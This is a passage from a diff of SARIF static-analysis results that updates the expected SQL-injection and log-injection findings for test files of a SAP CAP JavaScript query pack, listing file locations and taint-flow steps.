+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 37
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
+                }
+              },
+              "message" : {
+                "text" : "{ messageToPass }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 37
+                },
+                "region" : {
+                  "startLine" : 7,
                   "startColumn" : 17,
-                  "endColumn" : 63
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "CQL`SEL ...  + book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 11,
-                  "endColumn" : 63
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "cqn"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 37
                 },
                 "region" : {
-                  "startLine" : 28,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "cqn"
+                "text" : "messageToPass"
               }
             }
           } ]
@@ -21813,14 +21546,31 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 37
           },
           "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      }, {
+        "id" : 2,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 36
+          },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 33,
+            "endColumn" : 36
           }
         },
         "message" : {
@@ -21828,34 +21578,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 1
+            "index" : 47
           },
           "region" : {
-            "startLine" : 31,
-            "startColumn" : 39,
-            "endColumn" : 43
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "1cd6f1adc2ef8f7c:1",
-        "primaryLocationStartColumnFingerprint" : "32"
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -21863,14 +21613,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
@@ -21881,14 +21631,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
@@ -21899,14 +21649,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
@@ -21917,699 +21667,221 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
-                }
-              },
-              "message" : {
-                "text" : "{ book, quantity }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 56,
-                  "endColumn" : 60
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 32,
-                  "endColumn" : 60
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "`SELECT ...  + book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 18,
-                  "endColumn" : 61
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "cds.par ... + book)"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 11,
-                  "endColumn" : 61
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "cqn1"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 31,
-                  "startColumn" : 39,
-                  "endColumn" : 43
-                }
-              },
-              "message" : {
-                "text" : "cqn1"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 11,
-            "startColumn" : 16,
-            "endColumn" : 29
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "eae426bf8fad0192:1",
-        "primaryLocationStartColumnFingerprint" : "9"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
-                }
-              },
-              "message" : {
-                "text" : "req.data"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
-                }
-              },
-              "message" : {
-                "text" : "{ book, quantity }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
-                }
-              },
-              "message" : {
-                "text" : "book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
-                }
-              },
-              "message" : {
-                "text" : "book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 25,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 16,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "\"CAP:\" + book"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 18,
-            "startColumn" : 47,
-            "endColumn" : 48
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "e05b39891dddd161:1",
-        "primaryLocationStartColumnFingerprint" : "40"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 24,
-                  "endColumn" : 27
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 20
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 25
-                }
-              },
-              "message" : {
-                "text" : "req.data"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 13,
-                  "endColumn" : 25
-                }
-              },
-              "message" : {
-                "text" : "$"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
-                },
-                "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 47,
-                  "endColumn" : 48
-                }
-              },
-              "message" : {
-                "text" : "$"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 15,
-            "startColumn" : 24,
-            "endColumn" : 27
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 25,
-            "startColumn" : 16,
-            "endColumn" : 29
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
-        "primaryLocationStartColumnFingerprint" : "9"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 34,
-                  "endColumn" : 54
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 7,
                   "startColumn" : 15,
-                  "endColumn" : 19
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 54
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 25,
-                  "endColumn" : 29
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 47
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 16,
-                  "endColumn" : 29
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "\"CAP:\" + book"
+                "text" : "messageToPass"
               }
             }
           } ]
         } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 23,
-            "startColumn" : 34,
-            "endColumn" : 54
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 43
-          },
-          "region" : {
-            "startLine" : 9,
-            "startColumn" : 32,
-            "endColumn" : 45
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
-        "primaryLocationStartColumnFingerprint" : "23"
-      },
-      "codeFlows" : [ {
+      }, {
         "threadFlows" : [ {
           "locations" : [ {
             "location" : {
@@ -22617,7 +21889,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 6,
@@ -22635,7 +21907,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22653,7 +21925,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22671,7 +21943,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22689,7 +21961,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22707,7 +21979,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22725,7 +21997,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 47
                 },
                 "region" : {
                   "startLine" : 9,
@@ -22744,10 +22016,27 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 43
           },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 33,
+            "endColumn" : 36
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      }, {
+        "id" : 2,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 47
+          },
           "region" : {
             "startLine" : 6,
             "startColumn" : 29,
@@ -22768,14 +22057,14 @@
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
             "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 51
+            "index" : 52
           },
           "region" : {
             "startLine" : 9,
@@ -22799,99 +22088,225 @@
                   "index" : 49
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
